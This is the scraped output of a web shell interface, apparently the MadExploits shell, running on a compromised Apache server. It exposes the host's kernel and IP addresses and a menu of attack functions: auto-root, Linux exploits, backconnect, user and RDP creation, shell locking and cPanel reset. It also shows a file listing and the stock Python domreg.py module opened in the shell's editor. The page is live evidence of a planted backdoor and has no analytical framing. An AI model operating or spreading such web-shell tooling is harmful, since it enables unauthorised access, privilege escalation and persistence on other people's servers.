Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.137.162.21
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib64 /
python2.7 /
xml /
dom /
[ HOME SHELL ]
Name
Size
Permission
Action
NodeFilter.py
937
B
-rw-r--r--
NodeFilter.pyc
1.1
KB
-rw-r--r--
NodeFilter.pyo
1.1
KB
-rw-r--r--
__init__.py
3.9
KB
-rw-r--r--
__init__.pyc
6.33
KB
-rw-r--r--
__init__.pyo
6.33
KB
-rw-r--r--
domreg.py
3.4
KB
-rw-r--r--
domreg.pyc
3.23
KB
-rw-r--r--
domreg.pyo
3.23
KB
-rw-r--r--
expatbuilder.py
35.53
KB
-rw-r--r--
expatbuilder.pyc
32.41
KB
-rw-r--r--
expatbuilder.pyo
31.79
KB
-rw-r--r--
minicompat.py
3.25
KB
-rw-r--r--
minicompat.pyc
3.48
KB
-rw-r--r--
minicompat.pyo
3.37
KB
-rw-r--r--
minidom.py
64.77
KB
-rw-r--r--
minidom.pyc
64.29
KB
-rw-r--r--
minidom.pyo
64.16
KB
-rw-r--r--
pulldom.py
11.69
KB
-rw-r--r--
pulldom.pyc
12.77
KB
-rw-r--r--
pulldom.pyo
12.77
KB
-rw-r--r--
xmlbuilder.py
12.05
KB
-rw-r--r--
xmlbuilder.pyc
16.13
KB
-rw-r--r--
xmlbuilder.pyo
16.08
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : domreg.py
"""Registration facilities for DOM. This module should not be used directly. Instead, the functions getDOMImplementation and registerDOMImplementation should be imported from xml.dom.""" from xml.dom.minicompat import * # isinstance, StringTypes # This is a list of well-known implementations. Well-known names # should be published by posting to xml-sig@python.org, and are # subsequently recorded in this file. well_known_implementations = { 'minidom':'xml.dom.minidom', '4DOM': 'xml.dom.DOMImplementation', } # DOM implementations not officially registered should register # themselves with their registered = {} def registerDOMImplementation(name, factory): """registerDOMImplementation(name, factory) Register the factory function with the name. The factory function should return an object which implements the DOMImplementation interface. The factory function can either return the same object, or a new one (e.g. if that implementation supports some customization).""" registered[name] = factory def _good_enough(dom, features): "_good_enough(dom, features) -> Return 1 if the dom offers the features" for f,v in features: if not dom.hasFeature(f,v): return 0 return 1 def getDOMImplementation(name = None, features = ()): """getDOMImplementation(name = None, features = ()) -> DOM implementation. Return a suitable DOM implementation. The name is either well-known, the module name of a DOM implementation, or None. If it is not None, imports the corresponding module and returns DOMImplementation object if the import succeeds. If name is not given, consider the available implementations to find one with the required feature set. If no implementation can be found, raise an ImportError. The features list must be a sequence of (feature, version) pairs which are passed to hasFeature.""" import os creator = None mod = well_known_implementations.get(name) if mod: mod = __import__(mod, {}, {}, ['getDOMImplementation']) return mod.getDOMImplementation() elif name: return registered[name]() elif "PYTHON_DOM" in os.environ: return getDOMImplementation(name = os.environ["PYTHON_DOM"]) # User did not specify a name, try implementations in arbitrary # order, returning the one that has the required features if isinstance(features, StringTypes): features = _parse_feature_string(features) for creator in registered.values(): dom = creator() if _good_enough(dom, features): return dom for creator in well_known_implementations.keys(): try: dom = getDOMImplementation(name = creator) except StandardError: # typically ImportError, or AttributeError continue if _good_enough(dom, features): return dom raise ImportError,"no suitable DOM implementation found" def _parse_feature_string(s): features = [] parts = s.split() i = 0 length = len(parts) while i < length: feature = parts[i] if feature[0] in "0123456789": raise ValueError, "bad feature name: %r" % (feature,) i = i + 1 version = None if i < length: v = parts[i] if v[0] in "0123456789": i = i + 1 version = v features.append((feature, version)) return tuple(features)
Close